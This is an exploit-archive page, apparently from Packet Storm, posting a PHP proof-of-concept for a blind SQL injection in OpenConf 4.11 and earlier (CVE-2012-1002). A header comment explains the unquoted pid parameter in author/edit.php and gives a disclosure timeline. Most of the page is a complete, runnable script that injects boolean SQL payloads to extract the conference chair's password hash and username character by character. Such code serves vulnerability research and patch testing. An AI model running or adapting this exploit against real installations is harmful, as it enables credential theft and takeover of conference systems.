exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

OpenConf 4.11 Blind SQL Injection

OpenConf 4.11 Blind SQL Injection
Posted May 2, 2012
Authored by EgiX

OpenConf versions 4.11 and below suffer from a remote blind SQL injection vulnerability.

tags | exploit, remote, sql injection
advisories | CVE-2012-1002
SHA-256 | c5f3f19deddb42342d8deb8e48d175329bb1255f6a39dd164fe1fb4bb1d6da10

OpenConf 4.11 Blind SQL Injection

Change Mirror Download
<?php

/*
---------------------------------------------------------------------
OpenConf <= 4.11 (author/edit.php) Remote Blind SQL Injection Exploit
---------------------------------------------------------------------

author...............: Egidio Romano aka EgiX
mail.................: n0b0d13s[at]gmail[dot]com
software link........: http://www.openconf.com/
affected versions....: from 4.00 to 4.11

+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+

[-] Vulnerable code in /author/edit.php:

104. // get sub
105. $anr = ocsql_query("SELECT * FROM `" . OCC_TABLE_PAPER . "` WHERE `paperid`=" . safeSQLstr($_POST['pid'])) ...
106. if (mysql_num_rows($anr) != 1) {
107. err(oc_('Submission ID or password entered is incorrect'));
108. }
109. $_POST = array_merge($_POST, mysql_fetch_assoc($anr));

User input passed through $_POST['pid'] seems correctly sanitised by the safeSQLstr() function, but in the query
at line 105, single quotes aren't used before concatenate the user input into the query string. This can be
exploited to conduct a Blind SQL Injection attack. Successful exploitation of this vulnerability requires at
least a record into the 'paper' table, and 'Edit Submission' to be enabled.

[-] Disclosure timeline:

[27/01/2012] - Vulnerability discovered
[01/02/2012] - Issue reported to bugs(at)openconf.com
[02/02/2012] - Version 4.12 released: http://www.openconf.com/news/#20120202
[02/02/2012] - CVE number requested
[02/02/2012] - Assigned CVE-2012-1002
[02/05/2012] - Public disclosure

*/

if (!extension_loaded('curl')) die("cURL extension required\n");

error_reporting(E_ERROR);
set_time_limit(0);

function http_get($page)
{
global $ch, $argv;

curl_setopt($ch, CURLOPT_URL, $argv[1].$page);
curl_setopt($ch, CURLOPT_GET, true);

return curl_exec($ch);
}

function http_post($page, $data)
{
global $ch, $argv;

curl_setopt($ch, CURLOPT_URL, $argv[1].$page);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

return curl_exec($ch);
}

function hex_enc($sql)
{
for ($i = 0, $n = strlen($sql); $i < $n; $i++)
$encoded .= dechex(ord($sql[$i]));
return "0x{$encoded}";
}

print "\n+-------------------------------------------------------------+";
print "\n| OpenConf <= 4.11 Remote Blind SQL Injection Exploit by EgiX |";
print "\n+-------------------------------------------------------------+\n";

if ($argc < 2)
{
print "\nUsage......: php $argv[0] <url>\n";
print "\nExample....: php $argv[0] http://127.0.0.1/";
print "\nExample....: php $argv[0] http://localhost/openconf/\n";
die();
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_VERBOSE, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

if (!preg_match('/href="author\/edit.php"/', http_get('openconf.php'))) die("\n[-] Failed: submission edit disabled\n");

$index = 1;
$hash = '';
$chars = array_merge(range(48, 57), range(97, 102), array(0)); // 0-9 a-f

print "\n[-] Chair password hash...: ";

while (!strpos($hash,chr(0)))
{
for ($i = 0, $n = count($chars); $i <= $n; $i++)
{
if ($i == $n) die("\n[-] Exploit failed!\n");
$sql = urlencode("-1 OR 1=(SELECT IF(ASCII(SUBSTR(value,{$index},1))={$chars[$i]},0,1) FROM config WHERE setting=".hex_enc("OC_chair_pwd").") LIMIT 1#");
if (preg_match("/is incorrect/", http_post("author/edit.php", "ocaction=1&pid={$sql}"))) { $hash .= chr($chars[$i]); print chr($chars[$i]); break; }
}
$index++;
}

$index = 1;
$user = '';
$chars = array_merge(array(0), range(97, 172), array(95), range(48, 57)); // Any "word" character

print "\n[-] Chair username........: ";

while (!strpos($user,chr(0)))
{
for ($i = 0, $n = count($chars); $i <= $n; $i++)
{
if ($i == $n) die("\n[-] Exploit failed!\n");
$sql = rawurlencode("-1 OR 1=(SELECT IF(ASCII(SUBSTR(value,{$index},1))={$chars[$i]},0,1) FROM config WHERE setting=".hex_enc("OC_chair_uname").") LIMIT 1#");
if (preg_match("/is incorrect/", http_post("author/edit.php", "ocaction=1&pid={$sql}"))) { $user .= chr($chars[$i]); print chr($chars[$i]); break; }
}
$index++;
}
print "\n";
?>


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close